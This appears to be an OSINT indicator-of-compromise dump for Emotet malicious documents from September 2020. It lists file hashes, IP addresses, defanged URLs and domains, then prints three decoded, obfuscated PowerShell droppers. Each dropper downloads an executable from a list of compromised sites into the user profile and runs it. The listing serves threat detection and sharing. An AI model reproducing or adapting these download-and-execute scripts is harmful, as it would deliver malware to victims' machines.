Emotet_Doc_out_2020-09-26_00_33.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
018067bf198382877c4b21006840178202d28ca1cef4c8faae500a82dc6672f8
bf6720e73cf3991f50455b524bdb7bdb5f8e6bfae9d1174fede5e8b3e98597b9
265d752d9628320557704b9100b0fdaf93a159efa599cd15a66c2dc14518f4be
a6932e409e8935c54374c0d301093e89d5a5b1f8d97ee73a1aced6ab2168fa47
767bb1e0195ed1b1ed5036372cc4e605a709cdb9a9650f6f7bd38da454310995
767bb1e0195ed1b1ed5036372cc4e605a709cdb9a9650f6f7bd38da454310995
ba0cbeec35d9c1edad96817f4e7729512f2e7bf151107eed9b6ac7d8cdc4bc3f
ba0cbeec35d9c1edad96817f4e7729512f2e7bf151107eed9b6ac7d8cdc4bc3f
8184716f0f234f3296e458730d9d455caeecfdc39fd53ecb85372e504927d125
3a71138b8bc388f4982dd216cc4395b5e7305dd3a3719bcb8fbf8b34f1dfa3fa
cb420021dd34146233a695c489533d0137a1fb15f8f0658c7f36cfa29452b6ad
3abcfac3886073f1571db96a3853c89b2caefbf9aa0c3dc0c63d3654c7cffd9f
ab4f0dfec4f0321dd92dce1b3c21bbfbedefd1cb39ba661e7fc91ea364405e6b
fc32460489c2abc93d503e842be1a0f7a629d14ae8289ac894e5a94ccd9cc42f
e41c293ab7bdf65642ccca64a0aae04d6c3c1d79b33cc8840d2f135bec4c322b
a1aad39d54e460350c26f2b7ad1c0ceb11820e33c859057dc6e56ad5a7a092b2
a3ed06ceacc163e6231d5f6a5395056145d8e24dcff31014abb8b90cef45a3c2
52d69c4cf08cebd0405ff88467010d12997950eed8398d8ca3328cbaf5160bb7
65a38277928ac9b6e65bbdda556eedbe26c296163f2c7fce6cf55a2472648972
44c2be46c6f0e7afb7914040c30d7fe910c2da92aef8c4b1217ff353d064c869
de1b2cfe65da68db9965e700d3304b2c5677d295b549dbdb3f71da27fb5302d6
16a51da0daa97e291824237b776471416538f83ba60aff0485de1c3340a368c2
6ef384c38fff01a87336dcc5aa05921e5d82d161366165d47f32503fc5645123
54c7aca6fb60c9b4c3a63fe269c9be1722b4ad76bdd837e9c41cfe50d2c75c03
cea36921bb1582e419146fd81b0ef1b4b521804a9593aac02f98de1aa8c3db48
afaaf67d6062d7dc8d8dea0dfccfbe18041099790d46711eb84c7937d4385ca5
89db3a9a81f8bf6207af13c5ef8ab9c6468ff0dccc90bcf34d2724de641562ef
33add54d60a5ff8d181fcea0f74d669a1f176226cf04e7703e54ed51383e8a4b
cbc9a7ac55009cf820410419866cdf3028b42c764efab1210a3ffef2998287da


IPs:
103.129.99.42
104.24.96.237
104.24.97.237
125.143.56.129
13.229.25.57
148.66.138.103
172.67.163.173
176.65.242.190
178.128.103.36
185.2.5.77
216.218.207.98
3.13.43.20
34.69.189.17
35.208.147.154
35.208.84.24
35.209.86.249
35.238.216.189
45.147.17.249
54.232.80.214
67.225.255.188
67.227.236.124
95.110.200.187



URLs:
hxxp://wynn838.com/wp-content/Eo/
hxxp://ottimade.com/wp-content/E/
hxxps://konican.com/cgi-bin/gz/
hxxp://glassesnepal.com/gxlaf/tQ6/
hxxp://kharazmischl.com/w/k/
hxxps://lojaskock.com.br/BACKUP/AW/
hxxp://secrice.com/writing/2003/0nI/."SP`lIt"[char]42;
hxxp://playschoolmatritva.com/cgi-bin/Cqw/
hxxp://must-in.com/wp-admin/0/
hxxps://online24h.biz/wp-admin/t/
hxxps://cimsjr.com/hospital/Fh4/
hxxps://ajstudiollc.com/cgi-bin/MiL/
hxxp://paulscomputing.com/CraigsMagicSquare/gQ1/
hxxps://heartssetfree.org/9c950e/FnH/."sPL`iT"[char]42;
hxxp://ibccglobal.com/thankyou2/ARA/
hxxp://work.digitalvichar.com/1mv7clu/o/
hxxp://13.229.25.57/7xdfb/jpA/
hxxp://binarystationary.com/cgi-bin/5rM/
hxxp://fmcav.com/images/ZQF/
hxxps://kodiakheating.com/ldnha/ybI/
hxxps://khvs.vrfantasy.gallery/igiodbck/eXq/."spL`it"[char]42;


Domains:
wynn838.com
ottimade.com
konican.com
glassesnepal.com
kharazmischl.com
lojaskock.com.br
secrice.com
playschoolmatritva.com
must-in.com
online24h.biz
cimsjr.com
ajstudiollc.com
paulscomputing.com
heartssetfree.org
ibccglobal.com
work.digitalvichar.com
13.229.25.57
binarystationary.com
fmcav.com
kodiakheating.com
khvs.vrfantasy.gallery


Decoded Base64 Powershell:
<���^,$A17_t6d=Sduiieu;
.new-item $ENv:USErPRoFIlE\TrCPz0x\BOd4Yr8\ -itemtype directOrY;
[Net.ServicePointManager]::"s`e`cuRiTyprO`ToCOL" = tls12, tls11, tls;
$Cx3sljy = Ik_uji4hy;
$G9yyox2=Mvoyl8o;
$Ekgkl3r=$env:userprofileUqeTrcpz0xUqeBod4yr8Uqe."REP`LaCe"Uqe,[StRInG][char]92$Cx3sljy.exe;
$Svpo795=Mnsn249;
$Hzhbkzf=.new-object net.WebClIEnT;
$Pffx7_x=hxxp://wynn838.com/wp-content/Eo/
hxxp://ottimade.com/wp-content/E/
hxxps://konican.com/cgi-bin/gz/
hxxp://glassesnepal.com/gxlaf/tQ6/
hxxp://kharazmischl.com/w/k/
hxxps://lojaskock.com.br/BACKUP/AW/
hxxp://secrice.com/writing/2003/0nI/."SP`lIt"[char]42;
$Jpwfgb1=Mqy0tx_;
foreach$E_e2alx in $Pffx7_x{try{$Hzhbkzf."d`OwNlOa`dFIle"$E_e2alx, $Ekgkl3r;
$Eash4ji=Csgbeob;
If &Get-Item $Ekgkl3r."L`engTh" -ge 33091 {&Invoke-Item$Ekgkl3r;
$Sm7kicz=M9pk7x6;
break;
$Lh1l17d=Icy7z4c}}catch{}}$Al5le39=Vmkm4ai<���^,$I5iu8v5=L6q9fls;
.new-item $ENv:UsErpRoFile\gyrn6UD\f9Phwy9\ -itemtype dIrEctORY;
[Net.ServicePointManager]::"Se`Cur`ItyP`ROTOcoL" = tls12, tls11, tls;
$Hq38baq = Wpmza8snw;
$Xz04zwt=Pi384y5;
$Xzkexoa=$env:userprofile{0}Gyrn6ud{0}F9phwy9{0} -f[Char]92$Hq38baq.exe;
$Y_df67q=Ihmj1om;
$Fvffjgz=&new-object Net.wEbCLieNt;
$Pqf1o8i=hxxp://playschoolmatritva.com/cgi-bin/Cqw/
hxxp://must-in.com/wp-admin/0/
hxxps://online24h.biz/wp-admin/t/
hxxps://cimsjr.com/hospital/Fh4/
hxxps://ajstudiollc.com/cgi-bin/MiL/
hxxp://paulscomputing.com/CraigsMagicSquare/gQ1/
hxxps://heartssetfree.org/9c950e/FnH/."sPL`iT"[char]42;
$Ywyfjxg=Ld1ke_x;
foreach$Xlevnrk in $Pqf1o8i{try{$Fvffjgz."Dow`NLOA`dfiLe"$Xlevnrk, $Xzkexoa;
$W3_sjrq=Gqrsjkm;
If &Get-Item $Xzkexoa."LEn`Gth" -ge 24119 {&Invoke-Item$Xzkexoa;
$X0hazak=G13gfpn;
break;
$Rn9p5wr=Q75gzvf}}catch{}}$Nohaqxh=Sza3z6e<���^,$Sch4zj2=Z_zrj3a;
.new-item $EnV:UsERPROfile\Ic4EGVu\C_zSk5X\ -itemtype dIrectoRY;
[Net.ServicePointManager]::"s`EcU`R`ITy`pRoTOCol" = tls12, tls11, tls;
$Ix8xpnq = Bp6p4xpk;
$P8ppyft=R8ngy6d;
$Wfo_odf=$env:userprofile{0}Ic4egvu{0}C_zsk5x{0} -F [ChaR]92$Ix8xpnq.exe;
$Bfh7dum=Dq70hpc;
$Uryb0di=.new-object NET.WEBCLient;
$Wepbdfo=hxxp://ibccglobal.com/thankyou2/ARA/
hxxp://work.digitalvichar.com/1mv7clu/o/
hxxp://13.229.25.57/7xdfb/jpA/
hxxp://binarystationary.com/cgi-bin/5rM/
hxxp://fmcav.com/images/ZQF/
hxxps://kodiakheating.com/ldnha/ybI/
hxxps://khvs.vrfantasy.gallery/igiodbck/eXq/."spL`it"[char]42;
$Xhdnmml=Eru6xnp;
foreach$Xs0hsv2 in $Wepbdfo{try{$Uryb0di."Do`W`NlOaD`FilE"$Xs0hsv2, $Wfo_odf;
$Ue2shos=Oqjiku3;
If &Get-Item $Wfo_odf."LeN`g`TH" -ge 25571 {.Invoke-Item$Wfo_odf;
$Sjq22_1=J1w_sm3;
break;
$Ihdyvqt=B48cdux}}catch{}}$Ha9e04b=Ay6z8bc